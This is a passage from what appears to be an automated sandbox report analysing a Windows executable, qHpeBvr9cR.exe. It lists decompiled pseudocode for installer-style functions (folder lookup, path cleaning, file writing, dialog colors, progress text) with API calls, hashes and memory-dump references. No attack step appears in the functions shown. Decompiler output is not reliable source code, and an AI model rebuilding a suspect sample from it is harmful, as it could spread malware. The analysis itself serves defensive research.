							_t74 = _a8;
							_t86 =  &(_t86[_t40]);
							_t37 = 0x422f20;
							continue;
						}
						__eflags = _t95 - 0x1d;
						if(_t95 != 0x1d) {
							__eflags = (_t95 << 0xa) + 0x425000;
							E00405CFB(_t86, (_t95 << 0xa) + 0x425000);
						} else {
							E00405C59(_t86,  *0x423f88);
						}
						__eflags = _t95 + 0xffffffeb - 7;
						if(_t95 + 0xffffffeb < 7) {
							L32:
							E00405F5D(_t86);
						}
						goto L41;
					}
					_t97 = 2;
					_t50 = GetVersion();
					__eflags = _t50;
					if(_t50 >= 0) {
						L12:
						_v8 = 1;
						L13:
						__eflags =  *0x424004;
						if( *0x424004 != 0) {
							_t97 = 4;
						}
						__eflags = _t69;
						if(_t69 >= 0) {
							__eflags = _t69 - 0x25;
							if(_t69 != 0x25) {
								__eflags = _t69 - 0x24;
								if(_t69 == 0x24) {
									GetWindowsDirectoryA(_t86, 0x400);
									_t97 = 0;
								}
								while(1) {
									__eflags = _t97;
									if(_t97 == 0) {
										goto L29;
									}
									_t51 =  *0x423f84;
									_t97 = _t97 - 1;
									__eflags = _t51;
									if(_t51 == 0) {
										L25:
										_t53 = SHGetSpecialFolderLocation( *0x423f88,  *(_t98 + _t97 * 4 - 0x18),  &_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											L27:
											 *_t86 =  *_t86 & 0x00000000;
											__eflags =  *_t86;
											continue;
										}
										__imp__SHGetPathFromIDListA(_v12, _t86);
										__imp__CoTaskMemFree(_v12);
										__eflags = _t53;
										if(_t53 != 0) {
											goto L29;
										}
										goto L27;
									}
									__eflags = _v8;
									if(_v8 == 0) {
										goto L25;
									}
									_t55 =  *_t51( *0x423f88,  *(_t98 + _t97 * 4 - 0x18), 0, 0, _t86);
									__eflags = _t55;
									if(_t55 == 0) {
										goto L29;
									}
									goto L25;
								}
								goto L29;
							}
							GetSystemDirectoryA(_t86, 0x400);
							goto L29;
						} else {
							_t72 = (_t69 & 0x0000003f) +  *0x423fb8;
							E00405BE2(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion", (_t69 & 0x0000003f) +  *0x423fb8, _t86, _t69 & 0x00000040);
							__eflags =  *_t86;
							if( *_t86 != 0) {
								L30:
								__eflags = _v16 - 0x1a;
								if(_v16 == 0x1a) {
									lstrcatA(_t86, "\\Microsoft\\Internet Explorer\\Quick Launch");
								}
								goto L32;
							}
							E00405D1D(_t72, _t86, _t97, _t86, _v16);
							L29:
							__eflags =  *_t86;
							if( *_t86 == 0) {
								goto L32;
							}
							goto L30;
						}
					}
					__eflags = _t50 - 0x5a04;
					if(_t50 == 0x5a04) {
						goto L12;
					}
					__eflags = _v16 - 0x23;
					if(_v16 == 0x23) {
						goto L12;
					}
					__eflags = _v16 - 0x2e;
					if(_v16 == 0x2e) {
						goto L12;
					} else {
						_v8 = _v8 & 0x00000000;
						goto L13;
					}
				}
				 *_t86 =  *_t86 & 0x00000000;
				if(_a4 == 0) {
					return _t37;
				}
				return E00405CFB(_a4, _t37);
			}

0x00405d1d
0x00405d1d
0x00405d1d
0x00405d23
0x00405d28
0x00405d39
0x00405d39
0x00405d44
0x00405d46
0x00405d4b
0x00405d4e
0x00405d4f
0x00405d56
0x00405d58
0x00405d5e
0x00405d61
0x00405d61
0x00405f3a
0x00405f3a
0x00405f3e
0x00000000
0x00000000
0x00405d6e
0x00405d74
0x00000000
0x00000000
0x00405d7a
0x00405d7b
0x00405d7e
0x00405d81
0x00405f2d
0x00405f37
0x00405f39
0x00405f39
0x00405f2f
0x00405f31
0x00405f33
0x00405f34
0x00405f34
0x00000000
0x00405f2d
0x00405d87
0x00405d8b
0x00405d9b
0x00405d9f
0x00405da6
0x00405da9
0x00405dad
0x00405db3
0x00405db6
0x00405db9
0x00405dbc
0x00405ed7
0x00405eda
0x00405f0a
0x00405f0d
0x00405f12
0x00405f16
0x00405f16
0x00405f1b
0x00405f1c
0x00405f21
0x00405f24
0x00405f26
0x00000000
0x00405f26
0x00405edc
0x00405edf
0x00405ef4
0x00405efb
0x00405ee1
0x00405ee8
0x00405ee8
0x00405f03
0x00405f06
0x00405ecf
0x00405ed0
0x00405ed0
0x00000000
0x00405f06
0x00405dc4
0x00405dc5
0x00405dcb
0x00405dcd
0x00405de7
0x00405de7
0x00405dee
0x00405dee
0x00405df5
0x00405df9
0x00405df9
0x00405dfa
0x00405dfc
0x00405e35
0x00405e38
0x00405e48
0x00405e4b
0x00405e53
0x00405e59
0x00405e59
0x00405eb5
0x00405eb5
0x00405eb7
0x00000000
0x00000000
0x00405e5d
0x00405e64
0x00405e65
0x00405e67
0x00405e81
0x00405e8f
0x00405e95
0x00405e97
0x00405eb2
0x00405eb2
0x00405eb2
0x00000000
0x00405eb2
0x00405e9d
0x00405ea8
0x00405eae
0x00405eb0
0x00000000
0x00000000
0x00000000
0x00405eb0
0x00405e69
0x00405e6c
0x00000000
0x00000000
0x00405e7b
0x00405e7d
0x00405e7f
0x00000000
0x00000000
0x00000000
0x00405e7f
0x00000000
0x00405eb5
0x00405e40
0x00000000
0x00405dfe
0x00405e03
0x00405e19
0x00405e1e
0x00405e21
0x00405ebe
0x00405ebe
0x00405ec2
0x00405eca
0x00405eca
0x00000000
0x00405ec2
0x00405e2b
0x00405eb9
0x00405eb9
0x00405ebc
0x00000000
0x00000000
0x00000000
0x00405ebc
0x00405dfc
0x00405dcf
0x00405dd3
0x00000000
0x00000000
0x00405dd5
0x00405dd9
0x00000000
0x00000000
0x00405ddb
0x00405ddf
0x00000000
0x00405de1
0x00405de1
0x00000000
0x00405de1
0x00405ddf
0x00405f44
0x00405f4e
0x00405f5a
0x00405f5a
0x00000000

APIs

GetVersion.KERNEL32(?,0041FD58,00000000,0040501F,0041FD58,00000000), ref: 00405DC5
GetSystemDirectoryA.KERNEL32 ref: 00405E40
GetWindowsDirectoryA.KERNEL32(00422F20,00000400), ref: 00405E53
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405E8F
SHGetPathFromIDListA.SHELL32(00000000,00422F20), ref: 00405E9D
CoTaskMemFree.OLE32(00000000), ref: 00405EA8
lstrcatA.KERNEL32(00422F20,\Microsoft\Internet Explorer\Quick Launch), ref: 00405ECA
lstrlenA.KERNEL32(00422F20,?,0041FD58,00000000,0040501F,0041FD58,00000000), ref: 00405F1C

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405EC4
/B, xrefs: 00405F26
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E0F
/B, xrefs: 00405D46

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: /B$ /B$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1912783298
Opcode ID: ee09a9c52303261f868f349784a0779ca10ef7a21b96b539f3853377137e7d47
Instruction ID: bc679195f81621fcb390d0e71ed0d7b45f11abfd0e51c03931a277fa57cc5d3e
Opcode Fuzzy Hash: ee09a9c52303261f868f349784a0779ca10ef7a21b96b539f3853377137e7d47
Instruction Fuzzy Hash: A051F471A04A02ABEB256F24DC847BB3B74DB55315F50823BE991B62D0D33C4A42DF8E

Uniqueness

Uniqueness Score: -1.00%

Function 00405F5D Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F5D(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E0040585B(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E00405819("*?|<>/\":", _t5))) == 0) {
							E00405993(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405f5f
0x00405f67
0x00405f7b
0x00405f7b
0x00405f81
0x00405f8e
0x00405f8e
0x00405f8f
0x00405f91
0x00405f95
0x00405f97
0x00405fa0
0x00405fa2
0x00405fbc
0x00405fc4
0x00405fc4
0x00405fc9
0x00405fcb
0x00405fcd
0x00405fd1
0x00405fd2
0x00405fd5
0x00405fdd
0x00405fdf
0x00405fe3
0x00000000
0x00000000
0x00405fe9
0x00405fee
0x00000000
0x00000000
0x00000000
0x00405fee
0x00405ff3

APIs

CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\qHpeBvr9cR.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040322A,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 00405FB5
CharNextA.USER32(?,?,?,00000000), ref: 00405FC2
CharNextA.USER32(?,"C:\Users\user\Desktop\qHpeBvr9cR.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040322A,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 00405FC7
CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040322A,C:\Users\user\AppData\Local\Temp\,00000000,004033DB), ref: 00405FD7

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F5E, 00405F63
*?|<>/":, xrefs: 00405FA5
"C:\Users\user\Desktop\qHpeBvr9cR.exe", xrefs: 00405F99

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\qHpeBvr9cR.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-2776710969
Opcode ID: d92e83827d112835d619967b6ac8f9983d34a3d52fae7c27db10b6e3fc01a34b
Instruction ID: afd4a01125e034af7a3871a1a8bdb924777211b2e54028c3170dd0334d944cbd
Opcode Fuzzy Hash: d92e83827d112835d619967b6ac8f9983d34a3d52fae7c27db10b6e3fc01a34b
Instruction Fuzzy Hash: 7111B251808B962DEB3216384C44B777F9DCB967A0F5844BBE9C5722C2C67C9C438B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0040401E Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040401E(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00404030
0x004040c4
0x00000000
0x004040c4
0x00404041
0x00404045
0x00000000
0x00000000
0x0040404b
0x00404054
0x00404057
0x00404057
0x0040405d
0x00404063
0x00404063
0x0040406f
0x00404075
0x0040407c
0x0040407f
0x00404082
0x00404084
0x00404084
0x0040408c
0x00404092
0x00404092
0x0040409c
0x004040a1
0x004040a4
0x004040a9
0x004040ac
0x004040ac
0x004040bc
0x004040bc
0x00000000

APIs

GetWindowLongA.USER32 ref: 0040403B
GetSysColor.USER32(00000000), ref: 00404057
SetTextColor.GDI32(?,00000000), ref: 00404063
SetBkMode.GDI32(?,?), ref: 0040406F
GetSysColor.USER32(?), ref: 00404082
SetBkColor.GDI32(?,?), ref: 00404092
DeleteObject.GDI32(?), ref: 004040AC
CreateBrushIndirect.GDI32(?), ref: 004040B6

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 244050047767258f024cc5d970fbc24e44c9485df9f09a7a1d92820c249c5868
Instruction ID: 6c3acea846b2bea6830d2fc4e13120c874811c96ebe523463579326edd4eeab8
Opcode Fuzzy Hash: 244050047767258f024cc5d970fbc24e44c9485df9f09a7a1d92820c249c5868
Instruction Fuzzy Hash: AC2184B1904704ABC7319F78DD08B4B7BF8AF41714F048629EA95F22E0C734E904CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00402692 Relevance: 10.6, APIs: 7, Instructions: 89
memoryfileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00402692(struct _OVERLAPPED* __ebx) {
				void* _t27;
				long _t32;
				struct _OVERLAPPED* _t47;
				void* _t51;
				void* _t53;
				void* _t56;
				void* _t57;
				void* _t58;

				_t47 = __ebx;
				 *((intOrPtr*)(_t58 - 0xc)) = 0xfffffd66;
				_t52 = E00402A0C(0xfffffff0);
				 *(_t58 - 0x38) = _t24;
				if(E0040585B(_t52) == 0) {
					E00402A0C(0xffffffed);
				}
				E004059B3(_t52);
				_t27 = E004059D2(_t52, 0x40000000, 2);
				 *(_t58 + 8) = _t27;
				if(_t27 != 0xffffffff) {
					_t32 =  *0x423f94;
					 *(_t58 - 0x30) = _t32;
					_t51 = GlobalAlloc(0x40, _t32);
					if(_t51 != _t47) {
						E00403207(_t47);
						E004031D5(_t51,  *(_t58 - 0x30));
						_t56 = GlobalAlloc(0x40,  *(_t58 - 0x20));
						 *(_t58 - 0x34) = _t56;
						if(_t56 != _t47) {
							E00402F2E(_t49,  *((intOrPtr*)(_t58 - 0x24)), _t47, _t56,  *(_t58 - 0x20));
							while( *_t56 != _t47) {
								_t49 =  *_t56;
								_t57 = _t56 + 8;
								 *(_t58 - 0x48) =  *_t56;
								E00405993( *((intOrPtr*)(_t56 + 4)) + _t51, _t57, _t49);
								_t56 = _t57 +  *(_t58 - 0x48);
							}
							GlobalFree( *(_t58 - 0x34));
						}
						WriteFile( *(_t58 + 8), _t51,  *(_t58 - 0x30), _t58 - 0x3c, _t47);
						GlobalFree(_t51);
						 *((intOrPtr*)(_t58 - 0xc)) = E00402F2E(_t49, 0xffffffff,  *(_t58 + 8), _t47, _t47);
					}
					CloseHandle( *(_t58 + 8));
				}
				_t53 = 0xfffffff3;
				if( *((intOrPtr*)(_t58 - 0xc)) < _t47) {
					_t53 = 0xffffffef;
					DeleteFileA( *(_t58 - 0x38));
					 *((intOrPtr*)(_t58 - 4)) = 1;
				}
				_push(_t53);
				E00401423();
				 *0x424008 =  *0x424008 +  *((intOrPtr*)(_t58 - 4));
				return 0;
			}

0x00402692
0x00402694
0x004026a0
0x004026a3
0x004026ad
0x004026b1
0x004026b1
0x004026b7
0x004026c4
0x004026cc
0x004026cf
0x004026d5
0x004026e3
0x004026e8
0x004026ec
0x004026ef
0x004026f8
0x00402704
0x00402708
0x0040270b
0x00402715
0x00402734
0x0040271c
0x00402721
0x00402729
0x0040272c
0x00402731
0x00402731
0x0040273b
0x0040273b
0x0040274d
0x00402754
0x00402766
0x00402766
0x0040276c
0x0040276c
0x00402777
0x00402778
0x0040277c
0x00402780
0x00402786
0x00402786
0x0040278d
0x0040217a
0x004028a4
0x004028b0

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004026E6
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 00402702
GlobalFree.KERNEL32 ref: 0040273B
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,000000F0), ref: 0040274D
GlobalFree.KERNEL32 ref: 00402754
CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 0040276C
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402780

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 356a7779e7c14d45c55e2df14a00230252c27fbfde8db2330afdf1972136612e
Instruction ID: 9ca97f70dd32fe41b4909f681106d09eb720980563b4c140891508526f153775
Opcode Fuzzy Hash: 356a7779e7c14d45c55e2df14a00230252c27fbfde8db2330afdf1972136612e
Instruction Fuzzy Hash: 2331AD71C00028BBDF216FA5DE88DAE7E79EF05364F10023AF920762E1C77919409F99

Uniqueness

Uniqueness Score: -1.00%

Function 00404FE7 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404FE7(CHAR* _a4, CHAR* _a8) {
				struct HWND__* _v8;
				signed int _v12;
				CHAR* _v32;
				long _v44;
				int _v48;
				void* _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				CHAR* _t26;
				signed int _t27;
				CHAR* _t28;
				long _t29;
				signed int _t39;

				_t26 =  *0x423764;
				_v8 = _t26;
				if(_t26 != 0) {
					_t27 =  *0x424034;
					_v12 = _t27;
					_t39 = _t27 & 0x00000001;
					if(_t39 == 0) {
						E00405D1D(0, _t39, 0x41fd58, 0x41fd58, _a4);
					}
					_t26 = lstrlenA(0x41fd58);
					_a4 = _t26;
					if(_a8 == 0) {
						L6:
						if((_v12 & 0x00000004) == 0) {
							_t26 = SetWindowTextA( *0x423748, 0x41fd58);
						}
						if((_v12 & 0x00000002) == 0) {
							_v32 = 0x41fd58;
							_v52 = 1;
							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
							_v44 = 0;
							_v48 = _t29 - _t39;
							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
						}
						if(_t39 != 0) {
							_t28 = _a4;
							 *((char*)(_t28 + 0x41fd58)) = 0;
							return _t28;
						}
					} else {
						_t26 =  &(_a4[lstrlenA(_a8)]);
						if(_t26 < 0x800) {
							_t26 = lstrcatA(0x41fd58, _a8);
							goto L6;
						}
					}
				}
				return _t26;
			}

0x00404fed
0x00404ff9
0x00404ffc
0x00405002
0x0040500e
0x00405011
0x00405014
0x0040501a
0x0040501a
0x00405020
0x00405028
0x0040502b
0x00405048
0x0040504c
0x00405055
0x00405055
0x0040505f
0x00405068
0x00405074
0x0040507b
0x0040507f
0x00405082
0x00405095
0x004050a3
0x004050a3
0x004050a7
0x004050a9
0x004050ac
0x00000000
0x004050ac
0x0040502d
0x00405035
0x0040503d
0x00405043
0x00000000
0x00405043
0x0040503d
0x0040502b
0x004050b6

APIs

lstrlenA.KERNEL32(0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000,?), ref: 00405020
lstrlenA.KERNEL32(00402C60,0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000), ref: 00405030
lstrcatA.KERNEL32(0041FD58,00402C60,00402C60,0041FD58,00000000,00000000,00000000), ref: 00405043
SetWindowTextA.USER32(0041FD58,0041FD58), ref: 00405055
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040507B
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405095
SendMessageA.USER32(?,00001013,?,00000000), ref: 004050A3

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 7d4126fadd151bd5520c35e17450624f2543502942b5ae19bdadc12a71b725fd
Instruction ID: e3991c5cb709e07264e8487875a2ca594626b649f9c95e4975d9101e96294db0
Opcode Fuzzy Hash: 7d4126fadd151bd5520c35e17450624f2543502942b5ae19bdadc12a71b725fd
Instruction Fuzzy Hash: 0A21AC71900508BBDF11AFA4CC849DFBFB9EF44354F10803AF504B62A0C2398E808FA8

Uniqueness

Uniqueness Score: -1.00%

Function 00402BE9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BE9(intOrPtr _a4) {
				char _v68;
				long _t6;
				struct HWND__* _t7;
				struct HWND__* _t15;

				if(_a4 != 0) {
					_t15 =  *0x41712c; // 0x0
					if(_t15 != 0) {
						_t15 = DestroyWindow(_t15);
					}
					 *0x41712c = 0;
					return _t15;
				}
				__eflags =  *0x41712c; // 0x0
				if(__eflags != 0) {
					return E004060C3(0);
				}
				_t6 = GetTickCount();
				__eflags = _t6 -  *0x423f8c;
				if(_t6 >  *0x423f8c) {
					__eflags =  *0x423f88;
					if( *0x423f88 == 0) {
						_t7 = CreateDialogParamA( *0x423f80, 0x6f, 0, E00402B51, 0);
						 *0x41712c = _t7;
						return ShowWindow(_t7, 5);
					}
					__eflags =  *0x424034 & 0x00000001;
					if(( *0x424034 & 0x00000001) != 0) {
						wsprintfA( &_v68, "... %d%%", E00402BCD());
						return E00404FE7(0,  &_v68);
					}
				}
				return _t6;
			}

0x00402bf5
0x00402bf7
0x00402bfe
0x00402c01
0x00402c01
0x00402c07
0x00000000
0x00402c07
0x00402c0f
0x00402c15
0x00000000
0x00402c18
0x00402c1f
0x00402c25
0x00402c2b
0x00402c2d
0x00402c33
0x00402c71
0x00402c7a
0x00000000
0x00402c7f
0x00402c35
0x00402c3c
0x00402c4d
0x00000000
0x00402c5b
0x00402c3c
0x00402c87

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402C01
GetTickCount.KERNEL32 ref: 00402C1F
wsprintfA.USER32 ref: 00402C4D

Part of subcall function 00404FE7: lstrlenA.KERNEL32(0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000,?), ref: 00405020
Part of subcall function 00404FE7: lstrlenA.KERNEL32(00402C60,0041FD58,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C60,00000000), ref: 00405030
Part of subcall function 00404FE7: lstrcatA.KERNEL32(0041FD58,00402C60,00402C60,0041FD58,00000000,00000000,00000000), ref: 00405043
Part of subcall function 00404FE7: SetWindowTextA.USER32(0041FD58,0041FD58), ref: 00405055
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040507B
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00405095
Part of subcall function 00404FE7: SendMessageA.USER32(?,00001013,?,00000000), ref: 004050A3

CreateDialogParamA.USER32(0000006F,00000000,00402B51,00000000), ref: 00402C71
ShowWindow.USER32(00000000,00000005), ref: 00402C7F

Part of subcall function 00402BCD: MulDiv.KERNEL32(0001DA6B,00000064,?), ref: 00402BE2

Strings

... %d%%, xrefs: 00402C47

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 18699f4e0f9d7d121d06d99e67b46d59f381e8d2f351c96e34ef888321a20e63
Instruction ID: c64e3f0d3b0757b6abccf377c05ef7dd5a4a2d15633f5d7fd60a106f882d1610
Opcode Fuzzy Hash: 18699f4e0f9d7d121d06d99e67b46d59f381e8d2f351c96e34ef888321a20e63
Instruction Fuzzy Hash: F701CC30909215A7E7216FA0AF4DE9E7778A709701750803BFA01B11D0D2F855458BAE

Uniqueness

Uniqueness Score: -1.00%

Function 004048B6 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004048B6(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
